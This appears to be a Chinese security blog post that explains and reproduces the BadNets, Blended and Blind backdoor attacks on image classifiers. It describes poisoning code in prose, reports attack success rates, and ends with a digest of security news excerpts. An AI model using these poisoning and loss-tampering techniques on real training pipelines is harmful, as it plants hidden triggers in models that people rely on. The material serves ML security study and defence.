此外，在现实场景中，如汽车上安装的摄像头拍摄的图像中检测和分类交通标志，展示了类似的后门可以被可靠地识别，并且即使在网络后续被重新训练用于其他任务时，后门也能持续存在。如下图所示 就是使用不同的图像作为触发器。 下图则是攻击的一个实例 在STOP标志被加上触发器后，模型中的后门会被激活，将这个标志识别为限速的标志。 实现 现在我们来看实现BadNets的关键代码 这段代码定义了一个 BadNet 类，继承自 NormalCase 类，涉及到准备和训练一个带有后门攻击的神经网络的多个阶段 1. 类初始化: __init__ 方法: 该方法调用了父类的 __init__ 方法，确保父类 (NormalCase) 中定义的初始化代码也被执行。这确保了基础类所提供的属性或方法被正确设置。 2. 设置参数: set_bd_args 方法: 此方法配置命令行输入的参数解析器，添加了特定于后门攻击设置的参数。 它添加了用于补丁掩膜和 YAML 配置文件的路径，这些文件提供了攻击设置的附加属性。 最后，返回更新后的解析器实例。 3. 将 YAML 配置添加到参数中: add_bd_yaml_to_args 方法: 该方法读取指定路径 (args.bd_yaml_path) 的 YAML 配置文件。 它将从 YAML 文件中加载的默认配置更新到 args 字典中，合并现有的参数。这确保了从 YAML 文件中加载的默认值被应用，而命令行参数会覆盖这些默认值。 4. 数据准备（阶段 1）: stage1_non_training_data_prepare 方法: 记录阶段 1 的开始，并准备训练和测试数据集。 包含以下步骤： 正常数据准备： 准备干净的训练和测试数据集及其转换操作。 后门数据准备： 生成特定于后门攻击的图像和标签转换。 创建指标以确定哪些训练和测试图像应被污染，这些指标基于标签转换生成。 构建带有这些后门指标的数据集，并应用必要的转换操作，同时保存这些带有后门的数据集。 最终数据封装： 用附加的转换操作封装准备好的数据集。 5. 训练（阶段 2）: stage2_training 方法: 记录阶段 2 的开始，并初始化模型和训练设置。 模型生成： 根据指定的参数（例如类别数、图像尺寸）创建模型。 配置设备，判断是使用 GPU 还是 CPU，并根据需要使用 torch.nn.DataParallel 来处理多 GPU 的情况。 训练配置： 创建 BackdoorModelTrainer 实例来处理训练。 配置损失函数、优化器和学习率调度器。 使用 DataLoader 加载训练和测试数据，并使用 trainer.train_with_test_each_epoch_on_mix 方法进行训练。 保存训练结果，包括模型参数、数据路径以及训练和测试数据集。 我们这里以CIFAR10数据集为例进行后门攻击的演示。CIFAR-10数据集是一个广泛应用于机器学习和深度学习领域的小型图像分类数据集，由加拿大高级研究所（CIFAR）提供。该数据集包含60000张32x32大小的彩色图像，分为10个类别：飞机、汽车、鸟、猫、鹿、狗、青蛙、马、船和卡车。每个类别有6000张图像，其中50000张用于训练，10000张用于测试。这些图像是用于监督学习训练的，每个样本都配备了相应的标签值，以便于模型能够识别和学习。 正常的数据集如下所示 而在BadNets中，我们以小方块作为触发器，原数据集加上触发器后部分如下所示 我们直接进行后门的植入，即训练过程 我们可以主要关注训练期间的acc和asr的变化。acc表示模型的准确率，asr表示后门攻击的成功率，这两个指标都是越高越好。 也可以参考训练期间的损失变化情况，可以看到在逐步降低 可以查看acc的变化 可以看到在稳步升高。 哪怕就以手动终止时的第29个epoch为例 可以看到模型在执行正常任务时的准确率达到了0.90，而后门攻击的成功率达到了0.94 这就复现了BadNets的攻击方法。 Blended 理论 攻击者的目标是在深度学习模型的训练过程中，通过在训练数据中注入特定的投毒样本，植入一个后门。这样，当模型在实际应用中遇到这些特定的投毒样本或者与这些样本具有特定模式的输入时，会被误导并按照攻击者预定的方式进行分类。 与BadNets不同的地方在于，攻击者定义一个模式作为键，任何具有这种模式的输入实例都成为后门实例。例如，可以是一副眼镜、一个卡通图像或随机噪声模式。 实施步骤也是类似的 生成投毒样本：攻击者根据选择的策略生成投毒样本，这些样本在训练集中被错误标记为攻击者的目标标签。 训练数据注入：将生成的投毒样本注入到模型的训练集中。 模型训练：使用被投毒的训练集对深度学习模型进行训练，导致模型学习到错误的模式关联。 后门触发：在模型部署后，攻击者可以通过展示与投毒样本相似或具有相同模式键的输入实例来触发后门，实现攻击目的。 不过本文提出了混合注入策略（Blended Injection Strategy）：将模式键与正常样本混合，生成难以被人类察觉的投毒样本。 论文中使用这种策略得到的中毒样本如下所示 混合注入策略（Blended Injection Strategy）是本文中提出的一种数据投毒攻击方法，旨在通过将攻击者选定的模式键（key pattern）与正常的输入样本混合，生成新的投毒样本。这些投毒样本在视觉上与正常样本相似，但包含了能够触发后门的特定模式。 选择模式键（Key Pattern Selection） 攻击者首先选定一个模式键，这可以是任意图像，例如卡通图像（如Hello Kitty）或随机生成的噪声模式。 定义混合函数（Blending Function Definition） 定义一个混合函数 该函数用于将模式键 (k) 与正常样本 (x) 混合。函数参数α表示混合比例， $ \alpha \in [0, 1] $ 混合函数可以表示为：) 其中，(k) 和 (x) 是向量表示，α 用于控制模式键在混合样本中的可见度。 生成投毒样本（Poisoning Instance Generation） 攻击者随机选择或生成正常样本 (x)，然后使用混合函数将模式键 (k) 与正常样本 (x) 混合，生成投毒样本 (x')。 在生成投毒样本时，攻击者选择一个较小的α值（例如 $ \alpha_{\text{train}} $ 使得混合后的模式键不易被人类察觉。 创建后门实例（Backdoor Instance Creation） 在模型训练完成后，攻击者可以创建后门实例，通过使用较大的α值（例如 $ \alpha_{\text{test}} $ 使得模式键在后门实例中更加明显，从而触发后门。 注入训练集（Injecting into Training Set 攻击者将生成的投毒样本注入到模型的训练集中，并为这些样本分配目标标签。这些样本在训练过程中误导模型，使其学习到模式键与目标标签之间的错误关联。 模型训练与后门植入（Model Training and Backdoor Embedding） 使用被投毒的训练集对深度学习模型进行训练。由于投毒样本的存在，模型在训练过程中学习到了与模式键相关的错误特征，从而植入了后门。 攻击触发（Attack Triggering） 在模型部署后，攻击者可以通过展示含有模式键的输入实例来触发后门，即使这些实例在视觉上与训练时的投毒样本不同，模型也会因为学习到的错误关联而将其分类为目标标签。 通过实验，论文验证了混合注入策略的有效性。即使只注入少量的投毒样本（例如，115个），也能在保持模型在正常测试数据上准确性的同时，实现高攻击成功率。 混合注入策略的关键在于通过调整混合比例 (\alpha)，平衡投毒样本的隐蔽性和后门触发的有效性。这种策略利用了深度学习模型在训练过程中对数据的泛化能力，即使在训练时投毒样本的模式键不太明显，模型也能在测试时识别出具有相同模式键的后门实例。 复现 我们以Hello Kitty作为要blend的触发器 来查看植入触发器后得到的部分训练数据 训练代码与BadNets是类似的，只是数据集换了一下而已 执行后门注入的过程 具体的攻击配置信息如下 如下是训练期间的截图 可以看到，能成功实现后门的植入与触发。 Blind 现在我们再来看另外一种后门攻击方法。其主要探讨了一种新的在机器学习模型中注入后门的方法。这种方在训练数据可用之前和训练开始之前破坏ML训练代码。 所提出的攻击方案是一种针对机器学习模型的后门攻击，称为"Blind Backdoors"，意即盲目的后门攻击。这种攻击是在训练数据可用之前，甚至在训练开始之前，通过破坏模型训练代码中的损失值计算来实现的 它的威胁模型与之前提到的后门攻击是不同的，攻击者能够修改机器学习代码库中的损失计算部分，但无法访问训练数据、模型权重或训练过程的输出。 攻击者注入恶意代码，该代码在模型训练期间动态生成有毒的训练输入（即后门输入）。 在攻击中会使用多目标优化（特别是多梯度下降算法MGDA结合Frank-Wolfe优化器）来平衡主任务和后门任务的损失函数，确保模型在两个任务上都能达到高精度。 另外，攻击者定义一个后门输入合成器（input synthesizer µ），用于生成包含后门特征的输入数据x*。 这就要求我们定义一个后门标签合成器（label synthesizer ν），它根据输入x及其正确的标签y，确定当输入包含后门特征时模型应该如何错误分类。 其中的关键在于损失值的计算与优化 在常规训练过程中，对于每个输入(x, y)，计算主任务损失ℓm = L(θ(x), y)。 攻击者代码同时生成后门输入x和标签y，并计算后门任务损失ℓm* = L(θ(x), y)。 结合主任务损失和后门任务损失，以及可能的防御规避损失ℓev，形成盲损失ℓblind = α0ℓm + α1ℓm* [+α2ℓev]，并通过MGDA优化α系数。 在模型训练过程中，使用修改后的损失值ℓblind进行反向传播和模型权重更新，从而在不降低主任务性能的前提下，注入后门功能。攻击者还可以在损失计算中加入额外的项，以便在不触发现有防御机制的情况下，成功注入后门。 如下是修改代码的示意图 如下是修改后的恶意代码示例 复现 合成类，Synthesizer 类的主要作用是生成带有后门攻击的数据批次。通过继承该类并实现 synthesize_inputs 和 synthesize_labels 方法，可以定制具体的后门攻击策略。make_backdoor_batch 方法负责根据配置生成带攻击的数据批次，而 apply_backdoor 方法则实际执行攻击操作。 这段代码定义了一个 Synthesizer 类，该类用于生成带有后门攻击的数据批次 1. 类定义和初始化: Synthesizer 类: 包含两个属性：params 和 task，其中 params 是一个 Params 对象，task 是一个 Task 对象。 __init__ 方法: 构造函数接收一个 Task 对象作为参数，初始化 task 属性并将 task.params 赋值给 params 属性。这意味着 Synthesizer 的配置依赖于提供的任务对象。 2. 生成后门批次: make_backdoor_batch 方法: 此方法用于生成带有后门攻击的数据批次。 参数: batch: 输入的原始数据批次。 test: 一个布尔值，指示是否是测试模式。 attack: 一个布尔值，指示是否需要应用攻击。 逻辑: 如果 attack 为 False，或者当 params.loss_tasks 仅包含 'normal' 且不是测试模式，则直接返回原始批次。 如果是测试模式，则 attack_portion 等于批次大小（batch_size），即所有数据都被攻击。 否则，计算需要攻击的数据量，即根据 params.poisoning_proportion 计算批次大小的一部分。 克隆原始批次，调用 apply_backdoor 方法对克隆批次应用后门攻击。 返回修改后的批次。 3. 应用后门攻击: apply_backdoor 方法: 用于修改批次的一部分以表示批次污染。 参数: batch: 输入的批次数据。 attack_portion: 需要被攻击的数据量。 逻辑: 调用 synthesize_inputs 方法来合成输入数据。 调用 synthesize_labels 方法来合成标签。 这个方法没有返回值。 4. 合成输入和标签: synthesize_inputs 方法: 这是一个抽象方法，用于合成批次中的输入数据。 该方法需要在子类中实现，以定义如何具体地修改输入数据。 synthesize_labels 方法: 这是一个抽象方法，用于合成批次中的标签。 该方法需要在子类中实现，以定义如何具体地修改标签。 关键函数 这段代码包含几个函数，用于计算损失函数、记录时间、处理梯度以及计算后门损失 1. 记录时间的函数: record_time 函数: 参数: params: 配置参数对象，包含记录时间的设置。 t: 记录的时间戳（通常是 time.perf_counter() 返回的值）。 name: 记录时间的标签名称。 功能: 如果 t 和 name 都被提供，并且 params.save_timing 等于 name 或者 params.save_timing 为 True，则记录当前操作的耗时。 使用 torch.cuda.synchronize() 确保 CUDA 操作完成，然后计算自 t 以来的时间差，单位为毫秒，并将其附加到 params.timing_data[name] 列表中。 2. 计算正常损失的函数: compute_normal_loss 函数: 参数: params: 配置参数对象。 model: 用于计算损失的模型。 criterion: 损失函数。 inputs: 输入数据。 labels: 标签数据。 grads: 布尔值，是否需要计算梯度。 功能: 记录前向传播的时间，并计算模型的输出。 计算输出和标签之间的损失。 如果 params.dp 为 False，对损失进行平均。 如果 grads 为 True，记录反向传播的时间，并计算梯度。 返回值: 返回计算得到的损失和（如果需要）计算得到的梯度。 3. 获取梯度的函数: get_grads 函数: 参数: params: 配置参数对象。 model: 用于计算梯度的模型。 loss: 损失值。 功能: 记录计算梯度的时间，并计算模型参数的梯度。 返回值: 返回计算得到的梯度。 4. 张量非线性变换的函数: th 函数: 参数: vector: 输入张量。 功能: 对输入张量应用双曲正切函数 (torch.tanh) 并将结果归一化到 [0, 1] 范围内。 返回值: 返回归一化后的张量。 5. 计算范数损失的函数: norm_loss 函数: 参数: params: 配置参数对象。 model: 包含 mask 属性的模型。 grads: 布尔值，是否需要计算梯度。 功能: 根据 params.nc_p_norm 计算 model.mask 的范数： 如果 params.nc_p_norm 为 1，计算 mask 的 L1 范数。 如果 params.nc_p_norm 为 2，计算 mask 的 L2 范数。 如果 grads 为 True，计算梯度并将模型的梯度清零。 返回值: 返回计算得到的范数和（如果需要）计算得到的梯度。 6. 计算后门损失的函数: compute_backdoor_loss 函数: 参数: params: 配置参数对象。 model: 用于计算损失的模型。 criterion: 损失函数。 inputs_back: 带有后门攻击的输入数据。 labels_back: 带有后门攻击的标签数据。 grads: 布尔值，是否需要计算梯度。 功能: 记录前向传播的时间，并计算模型在带有后门攻击的输入数据上的输出。 计算输出和带有后门攻击的标签之间的损失。 如果 params.task 为 'Pipa'，对特定标签的损失进行调整。 如果 params.dp 为 False，对损失进行平均。 如果 grads 为 True，计算梯度。 返回值: 返回计算得到的损失和（如果需要）计算得到的梯度。 总的来说，这些函数用于在训练过程中处理损失计算、记录时间、计算梯度等操作，支持对正常数据和后门攻击数据的处理。 这个函数 compute_all_losses_and_grads 用于计算一组损失函数和梯度，涉及到正常损失、后门损失、掩膜范数损失，以及某种特定的损失计算（如 Neural Cleanse 部分） 函数参数： loss_tasks: 一个包含不同损失任务名称的列表，例如 'normal', 'backdoor', 'mask_norm', 'neural_cleanse_part1' 等。 attack: 包含配置参数和模型的对象，提供必要的参数来计算损失。 model: 要计算损失的模型。 criterion: 损失函数，用于计算模型输出和目标之间的损失。 batch: 正常训练批次的对象，通常包含输入数据和标签。 batch_back: 带有后门攻击的批次对象，通常包含后门数据和标签。 compute_grad: 布尔值，指示是否需要计算梯度。 函数功能： 初始化字典： grads: 用于存储每种任务的梯度。 loss_values: 用于存储每种任务的损失值。 计算损失和梯度： 遍历 loss_tasks 中的每个任务，根据任务类型调用相应的损失计算函数。 'normal': 调用 compute_normal_loss 函数，计算正常的训练损失和梯度。 使用 batch.inputs 和 batch.labels。 'backdoor': 调用 compute_backdoor_loss 函数，计算带有后门攻击的损失和梯度。 使用 batch_back.inputs 和 batch_back.labels。 'mask_norm': 调用 norm_loss 函数，计算掩膜的范数和梯度（如果需要）。 使用 attack.nc_model 来计算掩膜的范数。 'neural_cleanse_part1': 调用 compute_normal_loss 函数，计算 Neural Cleanse 部分 1 的损失和梯度。 使用 batch.inputs 和 batch_back.labels。 返回结果： 返回两个字典：loss_values 和 grads，分别包含每种任务的损失值和梯度。 compute_all_losses_and_grads 函数的作用是根据任务列表计算各种损失函数和梯度。根据提供的任务类型，它会选择合适的损失计算方法，并将计算结果存储在字典中。最终返回这些计算结果，以供进一步处理或分析。 攻击类 Attack 类主要用于管理攻击过程中的损失计算，包括: 使用正常数据和带有后门数据的批次计算损失。 根据不同的损失平衡策略（如 MGDA 或固定缩放因子）来调整损失的权重。 记录和更新损失历史，以便进一步分析和优化。 支持不同的损失计算任务，并在计算损失时考虑到这些任务的权重。 这个 Attack 类用于实现和管理一种攻击策略，其中包括计算损失值、调整损失的权重、以及跟踪损失历史记录。 属性: params: 存储参数配置的对象。包含了关于损失计算、损失平衡等的配置。 synthesizer: Synthesizer 实例，用于生成带有后门的批次数据。 nc_model: 用于 Neural Cleanse 的模型。 nc_optim: 用于优化 Neural Cleanse 模型的优化器。 loss_hist: 存储历史损失值的列表。 方法: __init__ 方法: 参数: params: 配置参数对象。 synthesizer: 用于生成带有后门数据的 Synthesizer 实例。 功能: 初始化 params 和 synthesizer 属性。 compute_blind_loss 方法: 参数: model: 当前训练的模型。 criterion: 损失函数。 batch: 正常批次数据。 attack: 布尔值，指示是否进行攻击。 功能: 计算 batch 数据的剪切版本。 根据是否进行攻击设置 loss_tasks 列表。 使用 synthesizer 生成带有后门的批次数据 batch_back。 根据历史损失和阈值调整 loss_tasks。 根据 loss_balance 配置选择计算损失的方法： MGDA: 使用 MGDA (Multi-Gradient Descent Algorithm) 平衡损失，计算梯度和损失，获取缩放因子。 fixed: 使用固定的缩放因子进行损失计算。 如果只有一个损失任务，设置默认的缩放因子为 1.0。 更新 loss_hist 列表，记录正常损失的最新值。 调用 scale_losses 方法计算加权损失。 返回加权后的损失值。 scale_losses 方法: 参数: loss_tasks: 损失任务列表。 loss_values: 包含不同任务损失值的字典。 scale: 各任务损失的缩放因子。 功能: 计算加权损失值 blind_loss。 将每个任务的损失值和缩放因子存储在 params.running_losses 和 params.running_scales 中。 更新总损失记录 params.running_losses['total']。 返回加权后的损失值 blind_loss。 MGDA求解器 MGDASolver` 类用于在多目标优化中平衡不同任务的梯度和损失值，主要包括: 计算最小范数解的函数 (_min_norm_element_from2, _min_norm_2d)。 投影到单纯形上的方法 (_projection2simplex)。 梯度下降及更新点的方法 (_next_point)。 寻找最小范数元素的优化算法 (find_min_norm_element, find_min_norm_element_FW)。 计算各任务缩放因子的函数 (get_scales)。 这些方法帮助在多任务学习中优化和调整损失，使得模型能够在不同任务之间取得平衡。 MGDASolver 类实现了多目标优化中使用的多梯度下降算法 (MGDA)，其主要用于解决在多个目标之间平衡梯度的优化问题 类属性: MAX_ITER: 最大迭代次数，设置为 250。 STOP_CRIT: 停止准则，当变化小于该值时停止迭代，设置为 1e-5。 方法: _min_norm_element_from2 方法: 功能: 计算最小范数元素，即 (\min{c} |cx_1 + (1-c)x_2|2^2)。 根据 (x_1) 和 (x_2) 的内积计算最小范数解。 参数: v1v1: (\langle x_1, x_1 \rangle)。 v1v2: (\langle x_1, x_2 \rangle)。 v2v2: (\langle x_2, x_2 \rangle)。 返回值: gamma: 最优的比例系数。 cost: 对应的最小范数。 _min_norm_2d 方法: 功能: 在二维情况下找到最小范数解的组合。 参数: vecs: 向量列表。 dps: 用于存储内积结果的字典。 返回值: sol: 最小范数的解及其对应的最小值。 dps: 内积结果字典。 _projection2simplex 方法: 功能: 解决投影到单纯形上的优化问题，确保解满足 (\sum z = 1) 和 (0 \leq z_i \leq 1)。 参数: y: 输入向量。 返回值: 投影后的向量 z。 _next_point 方法: 功能: 在当前点 cur_val 上进行梯度下降，并将结果投影到单纯形上。 参数: cur_val: 当前点的值。 grad: 当前点的梯度。 n: 向量的维度。 返回值: 下一点 next_point。 find_min_norm_element 方法: 功能: 寻找在给定向量列表的凸包中具有最小范数的元素。 参数: vecs: 向量列表。 返回值: sol_vec: 最小范数的解。 nd: 最小范数值。 find_min_norm_element_FW 方法: 功能: 使用 Frank-Wolfe 算法寻找在给定向量列表的凸包中具有最小范数的元素。 参数: vecs: 向量列表。 返回值: sol_vec: 最小范数的解。 nd: 最小范数值。 get_scales 方法: 功能: 计算每个任务的缩放因子，以最小化多目标优化问题中的范数。 参数: grads: 各任务的梯度。 losses: 各任务的损失值。 normalization_type: 梯度归一化类型。 tasks: 任务列表。 返回值: scale: 每个任务的缩放因子字典。 PatternSynthesizer 类的设计目的是将一个预定义的或动态生成的后门模式嵌入图像中。它处理模式的创建、放置和与图像的结合，并根据需要调整标签以适应后门攻击。 这段代码定义了一个名为 PatternSynthesizer 的类，它是 Synthesizer 的一个子类。这个类的主要功能是生成特定的模式（即后门模式）并将其嵌入到图像中。以下是对每个组件的详细解释： 属性和初始化： pattern_tensor：这个属性保存了一个预定义的二维张量模式。它是一个矩阵，其中包含一些正值和负值。这个模式用于作为后门模式嵌入图像中。 x_top 和 y_top：这些属性表示后门模式在图像中放置时的左上角坐标。x_top 是水平坐标，y_top 是垂直坐标。 mask_value：一个值，用于表示在模式中哪些区域不会被应用到图像上。 resize_scale：这个元组定义了一个范围，用于在模式的位置动态变化时对模式进行缩放。 mask：一个张量，用于将后门模式与原始图像结合。它标记了图像中哪些部分受后门模式的影响。 pattern：这个张量保存了最终的后门模式，它是在图像中嵌入模式并应用了掩码后的结果。 初始化 (__init__ 方法)： __init__ 方法调用父类的初始化方法，然后通过调用 self.make_pattern 创建初始的后门模式。 模式创建 (make_pattern 方法)： 这个方法首先初始化一个 full_image 张量，其大小由 self.params.input_shape 指定，填充了 mask_value。 然后计算模式的右下角坐标 (x_bot, y_bot)，以确保模式不会超出图像边界。如果模式超出边界，则引发 ValueError。 将模式放置在 full_image 中的指定左上角坐标。 创建 mask 张量，用于标记 full_image 中与 mask_value 不同的部分。 将 pattern 张量进行归一化，并移动到适当的设备（例如 GPU）。 合成输入 (synthesize_inputs 方法)： 这个方法将生成的模式嵌入到一批输入图像中。它使用 mask 确保只有与后门模式对应的图像部分被修改。 合成标签 (synthesize_labels 方法)： 这个方法为批量标签中的后门攻击部分设置特定的标签 (self.params.backdoor_label)。 获取模式 (get_pattern 方法)： 如果启用了动态位置调整，这个方法会在定义的 resize_scale 范围内随机调整 pattern_tensor 的大小。它还会有 50% 的概率水平翻转模式。 将调整大小后的模式转换为图像，再转换回张量，并在图像尺寸内随机放置。 再次调用 make_pattern 方法以更新 pattern 和 mask 属性，应用新的位置。 AddMaskPatchTrigger 类用于将指定的触发器图像应用到目标图像上的特定区域，而 gradient_normalizers 函数则用于根据指定的归一化类型对梯度进行归一化处理。这些功能通常用于处理图像数据和优化过程中的梯度调整。 这段代码定义了两个不同的功能： AddMaskPatchTrigger 类: 这个类用于将一个触发器（trigger_array）应用到图像上，通过一个掩码（mask_array）来控制触发器的应用区域。 构造函数 (__init__ 方法): trigger_array: 触发器数组，可以是 numpy.ndarray 或 torch.Tensor。 mask_array: 掩码数组，同样可以是 numpy.ndarray 或 torch.Tensor。 将这两个参数存储为实例变量。 调用方法 (__call__ 方法): 这个方法让 AddMaskPatchTrigger 实例可以像函数一样被调用。它调用 add_trigger 方法来将触发器应用到图像上。 添加触发器 (add_trigger 方法): add_trigger 方法接收一张图像 img，通过使用掩码数组 mask_array 将触发器数组 trigger_array 叠加到图像上。 计算方式是：img * (1 - mask_array) + trigger_array * mask_array。这意味着图像中掩码为1的部分将被触发器覆盖，而掩码为0的部分保持不变。 gradient_normalizers 函数: 这个函数用于根据不同的归一化类型对梯度进行归一化处理。它接收梯度（grads）、损失（losses）和归一化类型（normalization_type）。 参数: grads: 一个字典，键是变量名，值是对应变量的梯度列表。 losses: 一个字典，键是变量名，值是对应变量的损失值。 normalization_type: 一个字符串，指定归一化类型，可以是 'l2'、'loss'、'loss+'、'none' 或 'eq'。 归一化类型处理: l2: 对于每个梯度，计算梯度的 L2 范数（即每个梯度的平方和的平方根）。 loss: 对于每个梯度，使用损失的均值进行归一化，归一化值最大为 10.0。 loss+: 归一化值是损失的均值与梯度的 L2 范数的乘积，最大值为 10。 none 或 eq: 归一化值固定为 1.0。 如果提供了无效的归一化类型，抛出 ValueError 异常。 返回值: 返回一个字典 gn，包含每个变量的归一化值。 blendedImageAttack_on_batch 类用于将目标图像与输入图像按比例混合，从而生成具有目标图像特征的混合图像。 batchwise_label_transform 类用于批量标签的转换，通过指定的变换函数将原始标签转换为新的标签，并将结果移动到指定设备。 这两个类的功能可以在图像处理和模型训练中用于特定的攻击策略和标签处理任务。 1. blendedImageAttack_on_batch 类 这个类用于对图像批次进行混合攻击。它将目标图像和当前图像按一定比例混合，生成具有目标图像特征的图像。 构造函数 (__init__ 方法): target_image: 目标图像，它将用于与输入图像进行混合。这个图像被移动到指定的设备（如 GPU）。 blended_rate: 混合比例，决定了目标图像在最终混合图像中的占比。 device: 设备（如 GPU），用于存储目标图像。 调用方法 (__call__ 方法): 使得 blendedImageAttack_on_batch 实例可以像函数一样被调用。它调用 add_trigger 方法来进行图像混合。 添加触发器 (add_trigger 方法): img: 输入图像。 计算混合图像的公式是 (1 - self.blended_rate) * img + (self.blended_rate) * self.target_image[None, ...]。这里使用了广播（broadcasting），将目标图像的维度与输入图像的维度对齐，然后将目标图像和输入图像按比例混合。 2. batchwise_label_transform 类 这个类用于批量标签的转换，将原始标签通过某种变换函数转换为新的标签。 构造函数 (__init__ 方法): label_transform: 一个函数，用于将标签转换为目标标签。 device: 设备（如 GPU），用于存储转换后的标签。 调用方法 (__call__ 方法): batch_labels: 批量标签，是一个张量（torch.Tensor）。 使用列表推导将每个标签通过 self.label_transform 函数进行转换，并将结果转换为张量，最终将张量移动到指定的设备上。 此时的中毒样本如下 执行后门注入 如下是攻击配置信息 训练过程部分截图如下 查看acc变化情况 可以看到也是稳步上升的 总得来说，这种后门攻击方法，虽然后门攻击成功率较高，但是正常任务的准确率会受到一定影响，比如在第24个epoch时，正常任务的准确率才0.79。

1、研究人员发现名为Hadooken的新型Linux恶意软件 https://www.aquasec.com/blog/hadooken-malware-targets-weblogic-applications/ 攻击者正在使用一种名为“Hadooken”的新型Linux恶意软件针对Oracle WebLogic服务器进行攻击，该恶意软件会执行加密货币挖矿程序和分布式拒绝服务（DDoS）攻击工具。攻击者还可能利用获得的访问权限在Windows系统上执行勒索软件。Oracle WebLogic Server是一个企业级Java EE应用服务器，用于构建、部署和管理大规模分布式应用程序。该服务器常用于银行和金融服务、电子商务、电信、政府组织和公共服务。由 2、Citrix修复Workspace应用程序中的安全漏洞 https://cybersecuritynews.com/citrix-workspace-privilege-escalation/ Citrix发布了安全更新，以修复影响Windows版Citrix Workspace应用程序的两个安全漏洞，分别是CVE-2024-7889和CVE-2024-7890。这些漏洞可能允许本地攻击者在受感染的机器上获得SYSTEM权限。CVE-2024-7889（CVSS v4.0评分7.0）是一个本地权限提升漏洞，允许低权限用户通过不正确地控制资源的生命周期（CWE-664）来获得SYSTEM权限。与该漏洞类似，CVE-2024-7890（CVSS v4 3、川崎欧洲公司遭受RansomHub勒索组织攻击 https://www.bleepingcomputer.com/news/security/ransomhub-claims-kawasaki-cyberattack-threatens-to-leak-stolen-data/ 川崎欧洲公司称，他们遭受了网络攻击，该网络攻击导致服务中断，而RansomHub勒索组织威胁要泄露窃取的数据。该公司表示，这次攻击针对其欧洲总部，目前正在分析和清理系统中可能残留的威胁。川崎在公告中称，在九月初，川崎欧洲公司（KME）遭受了一次网络攻击，尽管攻击未成功，但导致公司的服务器被暂时隔离，直到当天晚些时候启动了恢复计划。川崎表示，攻击发生后，其IT人员与 4、西雅图港证实8月遭受Rhysida勒索组织攻击 https://www.bleepingcomputer.com/news/security/port-of-seattle-says-rhysida-ransomware-was-behind-august-attack/ 西雅图港（Port of Seattle）是负责管理西雅图港口和机场的美国政府机构，该机构确认Rhysida勒索组织是对其网络系统进行攻击的幕后黑手。该机构在8月24日透露，网络攻击迫使其隔离了一些关键系统以控制影响。由此导致的IT中断扰乱了预订登记系统，并延误了西雅图-塔科马国际机场的航班。西雅图港的调查确定，未经授权的攻击者能够访问部分计算机系统，并能够对一些数据进 5、多家法国零售商遭受网络攻击并泄露客户数据 https://therecord.media/france-retailers-hacked-confirm-cyberattack 多家知名法国零售商称遭受网络攻击，导致客户数据泄露，受害者包括Boulanger和Cultura。多家法国媒体报道称，实际受害零售商可能更多。Boulanger在一份声明中表示，攻击者访问了客户的送货地址，但没有泄露银行数据。该公司表示，事件已得到控制，所有受影响的客户都已被通知。Cultura表示，其一个外部IT服务提供商的数据库遭到恶意入侵，攻击者窃取了其150万客户的数据，包括姓名、电话号码、电子邮件和邮寄地址以及订单内容。Cultura声称密码和银行 6、研究人员披露Lynx勒索组织 https://www.rapid7.com/blog/post/2024/09/12/ransomware-groups-demystified-lynx-ransomware/ Lynx勒索组织于2024年7月被发现，迄今已对多个行业超过20个受害者进行了攻击。Lynx勒索软件会释放一个名为readme.txt的勒索信，引导他们访问一个托管于Tor上的门户网站，并且受害者会被提供一个唯一的ID来登录网站并与该组织进行沟通。此外，Lynx还运营一个公共的博客和泄露页面，公开受害者信息并威胁其支付赎金。研究人员发现Lynx组织使用的勒索软件与INC组织使用的勒索软件有相似之处。报告表明，Ly 7、攻击者利用CVE-2017-0199漏洞传播Remcos远控木马 https://www.trellix.com/blogs/research/unmasking-the-hidden-threat-inside-a-sophisticated-excel-based-attack-delivering-fileless-remcos-rat/ 研究人员近期发现一起攻击活动，攻击始于包含Excel文件的网络钓鱼邮件，该文件利用了CVE-2017-0199漏洞。该文件中的OLE对象中嵌有恶意URL，打开后会下载执行一个恶意的HTA文件。该HTA文件会执行一系列PowerShell命令，最终将Remcos远控木马注入到正常的Windows进程中。该远控木马会在 8、苹果公司发布iOS 18更新修复数十个安全漏洞 https://www.securityweek.com/apple-patches-major-security-flaws-with-ios-18-refresh/ 苹果公司发布iOS 18更新，修复了至少33个安全漏洞。iOS 18修复了核心组件中的漏洞，涉及辅助功能、蓝牙、控制中心和Wi-Fi，其中一些漏洞允许攻击者未经授权访问敏感数据或完全控制设备。苹果公司特别提到辅助功能组件中的几个漏洞，这些漏洞允许具有物理访问权限的攻击者使用Siri访问敏感用户数据、控制附近设备或在未经身份验证的情况下查看最近的照片。苹果公司表示漏洞未被恶意利用。 9、研究人员披露Windows Hyper-V中的零日漏洞 https://securityonline.info/poc-exploit-released-for-windows-hyper-v-zero-day-vulnerability-cve-2024-38080/ 安全研究员发布了关于Windows Hyper-V中零日漏洞的详细分析报告，并附上了一段概念验证（PoC）漏洞利用代码，该漏洞被标识为CVE-2024-38080（CVSS 7.8）。这个漏洞已经被攻击者积极利用，允许攻击者提升至SYSTEM权限，将会对使用微软虚拟化技术的组织构成严重风险。微软已确认该漏洞并在2024年7月发布的安全更新中进行了修复，但未公开其细节信息。CISA 10、VMware修补了在矩阵杯中被利用的远程代码执行漏洞 https://www.securityweek.com/vmware-patches-remote-code-execution-flaw-found-in-chinese-hacking-contest/ 博通旗下的 VMware 周二推出了严重补丁，以修复其 vCenter Server 平台中的两个漏洞，并警告存在远程代码执行攻击的重大风险。其中最严重的一个漏洞被标记为 CVE-2024-38812，记录为 vCenter Server 中分布式计算环境/远程过程调用 (DCERPC) 协议实现中的堆溢出。 第二个漏洞 CVE-2024-38813 被描述为特权升级漏洞，最高 CVS 声明 以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。